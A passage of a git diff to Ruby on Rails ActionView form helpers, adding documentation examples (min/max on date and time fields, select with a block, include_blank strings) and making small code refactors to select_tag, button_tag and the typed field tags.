+      #   text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }")
+      #   # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }"/>
       #
       #   text_field(:snippet, :code, size: 20, class: 'code_input')
       #   # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
@@ -838,6 +854,24 @@ module ActionView
       #
       #   file_field(:attachment, :file, class: 'file_input')
       #   # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+      #
+      # ==== Gotcha
+      #
+      # The HTML specification says that when a file field is empty, web browsers
+      # do not send any value to the server. Unfortunately this introduces a
+      # gotcha: if a +User+ model has an +avatar+ field, and no file is selected,
+      # then the +avatar+ parameter is empty. Thus, any mass-assignment idiom like
+      #
+      #   @user.update(params[:user])
+      #
+      # wouldn't update the +avatar+ field.
+      #
+      # To prevent this, the helper generates an auxiliary hidden field before
+      # every file field. The hidden field has the same name as the file one and
+      # a blank value.
+      #
+      # In case you don't want the helper to generate this hidden field you can
+      # specify the <tt>include_hidden: false</tt> option.
       def file_field(object_name, method, options = {})
         Tags::FileField.new(object_name, method, self, options).render
       end
@@ -1007,6 +1041,18 @@ module ActionView
       #   date_field("user", "born_on", value: "1984-05-12")
       #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-05-12" />
       #
+      # You can create values for the "min" and "max" attributes by passing
+      # instances of Date or Time to the options hash.
+      #
+      #   date_field("user", "born_on", min: Date.today)
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" min="2014-05-20" />
+      #
+      # Alternatively, you can pass a String formatted as an ISO8601 date as the
+      # values for "min" and "max."
+      #
+      #   date_field("user", "born_on", min: "2014-05-20")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" min="2014-05-20" />
+      #
       def date_field(object_name, method, options = {})
         Tags::DateField.new(object_name, method, self, options).render
       end
@@ -1024,6 +1070,18 @@ module ActionView
       #   time_field("task", "started_at")
       #   # => <input id="task_started_at" name="task[started_at]" type="time" />
       #
+      # You can create values for the "min" and "max" attributes by passing
+      # instances of Date or Time to the options hash.
+      #
+      #   time_field("task", "started_at", min: Time.now)
+      #   # => <input id="task_started_at" name="task[started_at]" type="time" min="01:00:00.000" />
+      #
+      # Alternatively, you can pass a String formatted as an ISO8601 time as the
+      # values for "min" and "max."
+      #
+      #   time_field("task", "started_at", min: "01:00:00")
+      #   # => <input id="task_started_at" name="task[started_at]" type="time" min="01:00:00.000" />
+      #
       def time_field(object_name, method, options = {})
         Tags::TimeField.new(object_name, method, self, options).render
       end
@@ -1041,6 +1099,18 @@ module ActionView
       #   datetime_field("user", "born_on")
       #   # => <input id="user_born_on" name="user[born_on]" type="datetime" value="1984-01-12T00:00:00.000+0000" />
       #
+      # You can create values for the "min" and "max" attributes by passing
+      # instances of Date or Time to the options hash.
+      #
+      #   datetime_field("user", "born_on", min: Date.today)
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime" min="2014-05-20T00:00:00.000+0000" />
+      #
+      # Alternatively, you can pass a String formatted as an ISO8601 datetime
+      # with UTC offset as the values for "min" and "max."
+      #
+      #   datetime_field("user", "born_on", min: "2014-05-20T00:00:00+0000")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime" min="2014-05-20T00:00:00.000+0000" />
+      #
       def datetime_field(object_name, method, options = {})
         Tags::DatetimeField.new(object_name, method, self, options).render
       end
@@ -1058,6 +1128,18 @@ module ActionView
       #   datetime_local_field("user", "born_on")
       #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="1984-01-12T00:00:00" />
       #
+      # You can create values for the "min" and "max" attributes by passing
+      # instances of Date or Time to the options hash.
+      #
+      #   datetime_local_field("user", "born_on", min: Date.today)
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" min="2014-05-20T00:00:00.000" />
+      #
+      # Alternatively, you can pass a String formatted as an ISO8601 datetime as
+      # the values for "min" and "max."
+      #
+      #   datetime_local_field("user", "born_on", min: "2014-05-20T00:00:00")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" min="2014-05-20T00:00:00.000" />
+      #
       def datetime_local_field(object_name, method, options = {})
         Tags::DatetimeLocalField.new(object_name, method, self, options).render
       end
@@ -1172,7 +1254,7 @@ module ActionView
     # methods in the +FormHelper+ module. This class, however, allows you to
     # call methods with the model object you are building the form for.
     #
-    # You can create your own custom FormBuilder templates by subclasses this
+    # You can create your own custom FormBuilder templates by subclassing this
     # class. For example:
     #
     #   class MyFormBuilder < ActionView::Helpers::FormBuilder
@@ -1185,8 +1267,8 @@ module ActionView
     #     end
     #
     # The above code creates a new method +div_radio_button+ which wraps a div
-    # around the a new radio button. Note that when options are passed in, you
-    # must called +objectify_options+ in order for the model object to get
+    # around the new radio button. Note that when options are passed in, you
+    # must call +objectify_options+ in order for the model object to get
     # correctly passed to the method. If +objectify_options+ is not called,
     # then the newly created helper will not be linked back to the model.
     #
@@ -1268,7 +1350,7 @@ module ActionView
       # doesn't create the form tags themselves. This makes fields_for suitable
       # for specifying additional model objects in the same form.
       #
-      # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
+      # Although the usage and purpose of +fields_for+ is similar to +form_for+'s,
       # its method signature is slightly different. Like +form_for+, it yields
       # a FormBuilder object associated with a particular model object to a block,
       # and within the block allows methods to be called on the builder to
@@ -1809,8 +1891,8 @@ module ActionView
           object = convert_to_model(@object)
           key    = object ? (object.persisted? ? :update : :create) : :submit
 
-          model = if object.class.respond_to?(:model_name)
-            object.class.model_name.human
+          model = if object.respond_to?(:model_name)
+            object.model_name.human
           else
             @object_name.to_s.humanize
           end
@@ -1871,6 +1953,8 @@ module ActionView
   end
 
   ActiveSupport.on_load(:action_view) do
-    cattr_accessor(:default_form_builder) { ::ActionView::Helpers::FormBuilder }
+    cattr_accessor(:default_form_builder, instance_writer: false, instance_reader: false) do
+      ::ActionView::Helpers::FormBuilder
+    end
   end
 end
diff --git a/actionview/lib/action_view/helpers/form_options_helper.rb b/actionview/lib/action_view/helpers/form_options_helper.rb
index fcd151ac32..bbfbf482a4 100644
--- a/actionview/lib/action_view/helpers/form_options_helper.rb
+++ b/actionview/lib/action_view/helpers/form_options_helper.rb
@@ -14,81 +14,81 @@ module ActionView
     #
     # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
     #
-    #   select("post", "category", Post::CATEGORIES, {include_blank: true})
+    #     select("post", "category", Post::CATEGORIES, {include_blank: true})
     #
-    # could become:
+    #   could become:
     #
-    #   <select name="post[category]">
-    #     <option></option>
-    #     <option>joke</option>
-    #     <option>poem</option>
-    #   </select>
+    #     <select name="post[category]">
+    #       <option></option>
+    #       <option>joke</option>
+    #       <option>poem</option>
+    #     </select>
     #
-    # Another common case is a select tag for a <tt>belongs_to</tt>-associated object.
+    #   Another common case is a select tag for a <tt>belongs_to</tt>-associated object.
     #
-    # Example with @post.person_id => 2:
+    #   Example with <tt>@post.person_id => 2</tt>:
     #
-    #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: 'None'})
+    #     select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: 'None'})
     #
-    # could become:
+    #   could become:
     #
-    #   <select name="post[person_id]">
-    #     <option value="">None</option>
-    #     <option value="1">David</option>
-    #     <option value="2" selected="selected">Sam</option>
-    #     <option value="3">Tobias</option>
-    #   </select>
+    #     <select name="post[person_id]">
+    #       <option value="">None</option>
+    #       <option value="1">David</option>
+    #       <option value="2" selected="selected">Sam</option>
+    #       <option value="3">Tobias</option>
+    #     </select>
     #
     # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string.
     #
-    #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {prompt: 'Select Person'})
+    #     select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {prompt: 'Select Person'})
     #
-    # could become:
+    #   could become:
     #
-    #   <select name="post[person_id]">
-    #     <option value="">Select Person</option>
-    #     <option value="1">David</option>
-    #     <option value="2">Sam</option>
-    #     <option value="3">Tobias</option>
-    #   </select>
+    #     <select name="post[person_id]">
+    #       <option value="">Select Person</option>
+    #       <option value="1">David</option>
+    #       <option value="2">Sam</option>
+    #       <option value="3">Tobias</option>
+    #     </select>
     #
-    # Like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this
-    # option to be in the +html_options+ parameter.
+    # * <tt>:index</tt> - like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this
+    #   option to be in the +html_options+ parameter.
     #
-    #   select("album[]", "genre", %w[rap rock country], {}, { index: nil })
+    #     select("album[]", "genre", %w[rap rock country], {}, { index: nil })
     #
-    # becomes:
+    #   becomes:
     #
-    #   <select name="album[][genre]" id="album__genre">
-    #     <option value="rap">rap</option>
-    #     <option value="rock">rock</option>
-    #     <option value="country">country</option>
-    #   </select>
+    #     <select name="album[][genre]" id="album__genre">
+    #       <option value="rap">rap</option>
+    #       <option value="rock">rock</option>
+    #       <option value="country">country</option>
+    #     </select>
     #
     # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
     #
-    #   select("post", "category", Post::CATEGORIES, {disabled: 'restricted'})
+    #     select("post", "category", Post::CATEGORIES, {disabled: 'restricted'})
     #
-    # could become:
+    #   could become:
     #
-    #   <select name="post[category]">
-    #     <option></option>
-    #     <option>joke</option>
-    #     <option>poem</option>
-    #     <option disabled="disabled">restricted</option>
-    #   </select>
+    #     <select name="post[category]">
+    #       <option></option>
+    #       <option>joke</option>
+    #       <option>poem</option>
+    #       <option disabled="disabled">restricted</option>
+    #     </select>
     #
-    # When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
+    #   When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
     #
-    #   collection_select(:post, :category_id, Category.all, :id, :name, {disabled: lambda{|category| category.archived? }})
+    #     collection_select(:post, :category_id, Category.all, :id, :name, {disabled: lambda{|category| category.archived? }})
     #
-    # If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
-    #   <select name="post[category_id]">
-    #     <option value="1" disabled="disabled">2008 stuff</option>
-    #     <option value="2" disabled="disabled">Christmas</option>
-    #     <option value="3">Jokes</option>
-    #     <option value="4">Poems</option>
-    #   </select>
+    #   If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
+    #     <select name="post[category_id]">
+    #       <option value="1" disabled="disabled">2008 stuff</option>
+    #       <option value="2" disabled="disabled">Christmas</option>
+    #       <option value="3">Jokes</option>
+    #       <option value="4">Poems</option>
+    #     </select>
     #
     module FormOptionsHelper
       # ERB::Util can mask some helpers like textilize. Make sure to include them.
@@ -128,6 +128,15 @@ module ActionView
       # or <tt>selected: nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
       # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
       #
+      # A block can be passed to +select+ to customize how the options tags will be rendered. This
+      # is useful when the options tag has complex attributes.
+      #
+      #   select(report, "campaign_ids") do
+      #     available_campaigns.each do |c|
+      #       content_tag(:option, c.name, value: c.id, data: { tags: c.tags.to_json })
+      #     end
+      #   end
+      #
       # ==== Gotcha
       #
       # The HTML specification says when +multiple+ parameter passed to select and all options got deselected
@@ -143,17 +152,15 @@ module ActionView
       # To prevent this the helper generates an auxiliary hidden field before
       # every multiple select. The hidden field has the same name as multiple select and blank value.
       #
-      # This way, the client either sends only the hidden field (representing
-      # the deselected multiple select box), or both fields. Since the HTML specification
-      # says key/value pairs have to be sent in the same order they appear in the
-      # form, and parameters extraction gets the last occurrence of any repeated
-      # key in the query string, that works for ordinary forms.
+      # <b>Note:</b> The client either sends only the hidden field (representing
+      # the deselected multiple select box), or both fields. This means that the resulting array
+      # always contains a blank string.
       #
       # In case if you don't want the helper to generate this hidden field you can specify
       # <tt>include_hidden: false</tt> option.
       #
-      def select(object, method, choices, options = {}, html_options = {})
-        Tags::Select.new(object, method, self, choices, options, html_options).render
+      def select(object, method, choices = nil, options = {}, html_options = {}, &block)
+        Tags::Select.new(object, method, self, choices, options, html_options, &block).render
       end
 
       # Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of
@@ -251,7 +258,7 @@ module ActionView
         Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
       end
 
-      # Return select and option tags for the given object and method, using
+      # Returns select and option tags for the given object and method, using
       # #time_zone_options_for_select to generate the list of option tags.
       #
       # In addition to the <tt>:include_blank</tt> option documented above,
@@ -307,7 +314,7 @@ module ActionView
       #   # => <option>MasterCard</option>
       #   # => <option selected="selected">Discover</option>
       #
-      # You can optionally provide html attributes as the last element of the array.
+      # You can optionally provide HTML attributes as the last element of the array.
       #
       #   options_for_select([ "Denmark", ["USA", {class: 'bold'}], "Sweden" ], ["USA", "Sweden"])
       #   # => <option value="Denmark">Denmark</option>
@@ -344,15 +351,15 @@ module ActionView
         return container if String === container
 
         selected, disabled = extract_selected_and_disabled(selected).map do |r|
-          Array(r).map { |item| item.to_s }
+          Array(r).map(&:to_s)
         end
 
         container.map do |element|
           html_attributes = option_html_attributes(element)
-          text, value = option_text_and_value(element).map { |item| item.to_s }
+          text, value = option_text_and_value(element).map(&:to_s)
 
-          html_attributes[:selected] = option_value_selected?(value, selected)
-          html_attributes[:disabled] = disabled && option_value_selected?(value, disabled)
+          html_attributes[:selected] ||= option_value_selected?(value, selected)
+          html_attributes[:disabled] ||= disabled && option_value_selected?(value, disabled)
           html_attributes[:value] = value
 
           content_tag_string(:option, text, html_attributes)
@@ -454,21 +461,7 @@ module ActionView
       end
 
       # Returns a string of <tt><option></tt> tags, like <tt>options_for_select</tt>, but
-      # wraps them with <tt><optgroup></tt> tags.
-      #
-      # Parameters:
-      # * +grouped_options+ - Accepts a nested array or hash of strings. The first value serves as the
-      #   <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a
-      #   nested array of text-value pairs. See <tt>options_for_select</tt> for more info.
-      #    Ex. ["North America",[["United States","US"],["Canada","CA"]]]
-      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
-      #   which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
-      #   as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>.
-      #
-      # Options:
-      # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this
-      #   prepends an option with a generic prompt - "Please select" - or the given prompt string.
-      # * <tt>:divider</tt> - the divider for the options groups.
+      # wraps them with <tt><optgroup></tt> tags:
       #
       #   grouped_options = [
       #    ['North America',
@@ -495,22 +488,36 @@ module ActionView
       #     <option value="France">France</option>
       #   </optgroup>
       #
-      #   grouped_options = [
-      #     [['United States','US'], 'Canada'],
-      #     ['Denmark','Germany','France']
-      #   ]
-      #   grouped_options_for_select(grouped_options, nil, divider: '---------')
+      # Parameters:
+      # * +grouped_options+ - Accepts a nested array or hash of strings. The first value serves as the
+      #   <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a
+      #   nested array of text-value pairs. See <tt>options_for_select</tt> for more info.
+      #    Ex. ["North America",[["United States","US"],["Canada","CA"]]]
+      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
+      #   which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
+      #   as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>.
       #
-      # Possible output:
-      #   <optgroup label="---------">
-      #     <option value="US">United States</option>
-      #     <option value="Canada">Canada</option>
-      #   </optgroup>
-      #   <optgroup label="---------">
-      #     <option value="Denmark">Denmark</option>
-      #     <option value="Germany">Germany</option>
-      #     <option value="France">France</option>
-      #   </optgroup>
+      # Options:
+      # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this
+      #   prepends an option with a generic prompt - "Please select" - or the given prompt string.
+      # * <tt>:divider</tt> - the divider for the options groups.
+      #
+      #     grouped_options = [
+      #       [['United States','US'], 'Canada'],
+      #       ['Denmark','Germany','France']
+      #     ]
+      #     grouped_options_for_select(grouped_options, nil, divider: '---------')
+      #
+      #   Possible output:
+      #     <optgroup label="---------">
+      #       <option value="US">United States</option>
+      #       <option value="Canada">Canada</option>
+      #     </optgroup>
+      #     <optgroup label="---------">
+      #       <option value="Denmark">Denmark</option>
+      #       <option value="Germany">Germany</option>
+      #       <option value="France">France</option>
+      #     </optgroup>
       #
       # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
       # wrap the output in an appropriate <tt><select></tt> tag.
@@ -626,7 +633,7 @@ module ActionView
       # even use the label as wrapper, as in the example above.
       #
       # The builder methods <tt>label</tt> and <tt>radio_button</tt> also accept
-      # extra html options:
+      # extra HTML options:
       #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
       #     b.label(class: "radio_button") { b.radio_button(class: "radio_button") }
       #   end
@@ -689,7 +696,7 @@ module ActionView
       # use the label as wrapper, as in the example above.
       #
       # The builder methods <tt>label</tt> and <tt>check_box</tt> also accept
-      # extra html options:
+      # extra HTML options:
       #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
       #     b.label(class: "check_box") { b.check_box(class: "check_box") }
       #   end
@@ -766,8 +773,8 @@ module ActionView
       #   <% end %>
       #
       # Please refer to the documentation of the base helper for details.
-      def select(method, choices, options = {}, html_options = {})
-        @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options))
+      def select(method, choices = nil, options = {}, html_options = {}, &block)
+        @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options), &block)
       end
 
       # Wraps ActionView::Helpers::FormOptionsHelper#collection_select for form builders:
diff --git a/actionview/lib/action_view/helpers/form_tag_helper.rb b/actionview/lib/action_view/helpers/form_tag_helper.rb
index 142c27ace0..8bb243b8b7 100644
--- a/actionview/lib/action_view/helpers/form_tag_helper.rb
+++ b/actionview/lib/action_view/helpers/form_tag_helper.rb
@@ -35,10 +35,10 @@ module ActionView
       #   This is helpful when you're fragment-caching the form. Remote forms get the
       #   authenticity token from the <tt>meta</tt> tag, so embedding is unnecessary unless you
       #   support browsers without JavaScript.
-      # * A list of parameters to feed to the URL the form will be posted to.
       # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
       #   submit behavior. By default this behavior is an ajax submit.
       # * <tt>:enforce_utf8</tt> - If set to false, a hidden input with name utf8 is not output.
+      # * Any other key creates standard HTML attributes for the tag.
       #
       # ==== Examples
       #   form_tag('/posts')
@@ -67,7 +67,7 @@ module ActionView
       def form_tag(url_for_options = {}, options = {}, &block)
         html_options = html_options_for_form(url_for_options, options)
         if block_given?
-          form_tag_in_block(html_options, &block)
+          form_tag_with_body(html_options, capture(&block))
         else
           form_tag_html(html_options)
         end
@@ -82,14 +82,18 @@ module ActionView
       # ==== Options
       # * <tt>:multiple</tt> - If set to true the selection will allow multiple choices.
       # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * <tt>:include_blank</tt> - If set to true, an empty option will be created.
-      # * <tt>:prompt</tt> - Create a prompt option with blank value and the text asking user to select something
+      # * <tt>:include_blank</tt> - If set to true, an empty option will be created. If set to a string, the string will be used as the option's content and the value will be empty.
+      # * <tt>:prompt</tt> - Create a prompt option with blank value and the text asking user to select something.
+      # * <tt>:selected</tt> - Provide a default selected value. It should be of the exact type as the provided options.
       # * Any other key creates standard HTML attributes for the tag.
       #
       # ==== Examples
       #   select_tag "people", options_from_collection_for_select(@people, "id", "name")
       #   # <select id="people" name="people"><option value="1">David</option></select>
       #
+      #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), selected: ["1", "David"]
+      #   # <select id="people" name="people"><option value="1" selected="selected">David</option></select>
+      #
       #   select_tag "people", "<option>David</option>".html_safe
       #   # => <select id="people" name="people"><option>David</option></select>
       #
@@ -105,13 +109,16 @@ module ActionView
       #   # => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option>
       #   #    <option>Out</option></select>
       #
-      #   select_tag "access", "<option>Read</option><option>Write</option>".html_safe, multiple: true, class: 'form_input'
-      #   # => <select class="form_input" id="access" multiple="multiple" name="access[]"><option>Read</option>
+      #   select_tag "access", "<option>Read</option><option>Write</option>".html_safe, multiple: true, class: 'form_input', id: 'unique_id'
+      #   # => <select class="form_input" id="unique_id" multiple="multiple" name="access[]"><option>Read</option>
       #   #    <option>Write</option></select>
       #
       #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: true
       #   # => <select id="people" name="people"><option value=""></option><option value="1">David</option></select>
       #
+      #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: "All"
+      #   # => <select id="people" name="people"><option value="">All</option><option value="1">David</option></select>
+      #
       #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), prompt: "Select something"
       #   # => <select id="people" name="people"><option value="">Select something</option><option value="1">David</option></select>
       #
@@ -126,12 +133,20 @@ module ActionView
         option_tags ||= ""
         html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
 
-        if options.delete(:include_blank)
-          option_tags = content_tag(:option, '', :value => '').safe_concat(option_tags)
+        if options.include?(:include_blank)
+          include_blank = options.delete(:include_blank)
+
+          if include_blank == true
+            include_blank = ''
+          end
+
+          if include_blank
+            option_tags = content_tag(:option, include_blank, value: '').safe_concat(option_tags)
+          end
         end
 
         if prompt = options.delete(:prompt)
-          option_tags = content_tag(:option, prompt, :value => '').safe_concat(option_tags)
+          option_tags = content_tag(:option, prompt, value: '').safe_concat(option_tags)
         end
 
         content_tag :select, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
@@ -217,7 +232,7 @@ module ActionView
       #   # => <input id="collected_input" name="collected_input" onchange="alert('Input collected!')"
       #   #    type="hidden" value="" />
       def hidden_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "hidden"))
+        text_field_tag(name, value, options.merge(type: :hidden))
       end
 
       # Creates a file upload field. If you are using file uploads then you will also need
@@ -256,7 +271,7 @@ module ActionView
       #   file_field_tag 'file', accept: 'text/html', class: 'upload', value: 'index.html'
       #   # => <input accept="text/html" class="upload" id="file" name="file" type="file" value="index.html" />
       def file_field_tag(name, options = {})
-        text_field_tag(name, nil, options.update("type" => "file"))
+        text_field_tag(name, nil, options.merge(type: :file))
       end
 
       # Creates a password field, a masked text field that will hide the users input behind a mask character.
@@ -289,7 +304,7 @@ module ActionView
       #   password_field_tag 'pin', '1234', maxlength: 4, size: 6, class: "pin_input"
       #   # => <input class="pin_input" id="pin" maxlength="4" name="pin" size="6" type="password" value="1234" />
       def password_field_tag(name = "password", value = nil, options = {})
-        text_field_tag(name, value, options.update("type" => "password"))
+        text_field_tag(name, value, options.merge(type: :password))
       end
 
       # Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
@@ -465,17 +480,23 @@ module ActionView
       #   #     <strong>Ask me!</strong>
       #   #    </button>
       #
-      #   button_tag "Checkout", data: { disable_with => "Please wait..." }
+      #   button_tag "Checkout", data: { disable_with: "Please wait..." }
       #   # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button>
       #
       def button_tag(content_or_options = nil, options = nil, &block)
-        options = content_or_options if block_given? && content_or_options.is_a?(Hash)
-        options ||= {}
-        options = options.stringify_keys
+        if content_or_options.is_a? Hash
+          options = content_or_options
+        else
+          options ||= {}
+        end
 
-        options.reverse_merge! 'name' => 'button', 'type' => 'submit'
+        options = { 'name' => 'button', 'type' => 'submit' }.merge!(options.stringify_keys)
 
-        content_tag :button, content_or_options || 'Button', options, &block
+        if block_given?
+          content_tag :button, options, &block
+        else
+          content_tag :button, content_or_options || 'Button', options
+        end
       end
 
       # Displays an image which when clicked will submit the form.
@@ -495,19 +516,19 @@ module ActionView
       #
       # ==== Examples
       #   image_submit_tag("login.png")
-      #   # => <input alt="Login" src="/images/login.png" type="image" />
+      #   # => <input alt="Login" src="/assets/login.png" type="image" />
       #
       #   image_submit_tag("purchase.png", disabled: true)
-      #   # => <input alt="Purchase" disabled="disabled" src="/images/purchase.png" type="image" />
+      #   # => <input alt="Purchase" disabled="disabled" src="/assets/purchase.png" type="image" />
       #
       #   image_submit_tag("search.png", class: 'search_button', alt: 'Find')
-      #   # => <input alt="Find" class="search_button" src="/images/search.png" type="image" />
+      #   # => <input alt="Find" class="search_button" src="/assets/search.png" type="image" />
       #
       #   image_submit_tag("agree.png", disabled: true, class: "agree_disagree_button")
-      #   # => <input alt="Agree" class="agree_disagree_button" disabled="disabled" src="/images/agree.png" type="image" />
+      #   # => <input alt="Agree" class="agree_disagree_button" disabled="disabled" src="/assets/agree.png" type="image" />
       #
       #   image_submit_tag("save.png", data: { confirm: "Are you sure?" })
-      #   # => <input alt="Save" src="/images/save.png" data-confirm="Are you sure?" type="image" />
+      #   # => <input alt="Save" src="/assets/save.png" data-confirm="Are you sure?" type="image" />
       def image_submit_tag(source, options = {})
         options = options.stringify_keys
         tag :input, { "alt" => image_alt(source), "type" => "image", "src" => path_to_image(source) }.update(options)
@@ -544,24 +565,63 @@ module ActionView
       #
       # ==== Options
       # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   color_field_tag 'name'
+      #   # => <input id="name" name="name" type="color" />
+      #
+      #   color_field_tag 'color', '#DEF726'
+      #   # => <input id="color" name="color" type="color" value="#DEF726" />
+      #
+      #   color_field_tag 'color', nil, class: 'special_input'
+      #   # => <input class="special_input" id="color" name="color" type="color" />
+      #
+      #   color_field_tag 'color', '#DEF726', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="color" name="color" type="color" value="#DEF726" />
       def color_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "color"))
+        text_field_tag(name, value, options.merge(type: :color))
       end
 
       # Creates a text field of type "search".
       #
       # ==== Options
       # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   search_field_tag 'name'
+      #   # => <input id="name" name="name" type="search" />
+      #
+      #   search_field_tag 'search', 'Enter your search query here'
+      #   # => <input id="search" name="search" type="search" value="Enter your search query here" />
+      #
+      #   search_field_tag 'search', nil, class: 'special_input'
+      #   # => <input class="special_input" id="search" name="search" type="search" />
+      #
+      #   search_field_tag 'search', 'Enter your search query here', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="search" name="search" type="search" value="Enter your search query here" />
       def search_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "search"))
+        text_field_tag(name, value, options.merge(type: :search))
       end
 
       # Creates a text field of type "tel".
       #
       # ==== Options
       # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   telephone_field_tag 'name'
+      #   # => <input id="name" name="name" type="tel" />
+      #
+      #   telephone_field_tag 'tel', '0123456789'
+      #   # => <input id="tel" name="tel" type="tel" value="0123456789" />
+      #
+      #   telephone_field_tag 'tel', nil, class: 'special_input'
+      #   # => <input class="special_input" id="tel" name="tel" type="tel" />
+      #
+      #   telephone_field_tag 'tel', '0123456789', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="tel" name="tel" type="tel" value="0123456789" />
       def telephone_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "tel"))
+        text_field_tag(name, value, options.merge(type: :tel))
       end
       alias phone_field_tag telephone_field_tag
 
@@ -569,8 +629,21 @@ module ActionView
       #
       # ==== Options
       # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   date_field_tag 'name'
+      #   # => <input id="name" name="name" type="date" />
+      #
+      #   date_field_tag 'date', '01/01/2014'
+      #   # => <input id="date" name="date" type="date" value="01/01/2014" />
+      #
+      #   date_field_tag 'date', nil, class: 'special_input'
+      #   # => <input class="special_input" id="date" name="date" type="date" />
+      #
+      #   date_field_tag 'date', '01/01/2014', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="date" name="date" type="date" value="01/01/2014" />
       def date_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "date"))
+        text_field_tag(name, value, options.merge(type: :date))
       end
 
       # Creates a text field of type "time".
@@ -581,7 +654,7 @@ module ActionView
       # * <tt>:step</tt> - The acceptable value granularity.
       # * Otherwise accepts the same options as text_field_tag.
       def time_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "time"))
+        text_field_tag(name, value, options.merge(type: :time))
       end
 
       # Creates a text field of type "datetime".
@@ -592,7 +665,7 @@ module ActionView
       # * <tt>:step</tt> - The acceptable value granularity.
       # * Otherwise accepts the same options as text_field_tag.
       def datetime_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "datetime"))
+        text_field_tag(name, value, options.merge(type: :datetime))
       end
 
       # Creates a text field of type "datetime-local".
@@ -603,7 +676,7 @@ module ActionView
       # * <tt>:step</tt> - The acceptable value granularity.
       # * Otherwise accepts the same options as text_field_tag.
       def datetime_local_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "datetime-local"))
+        text_field_tag(name, value, options.merge(type: 'datetime-local'))
       end
 
       # Creates a text field of type "month".
@@ -614,7 +687,7 @@ module ActionView
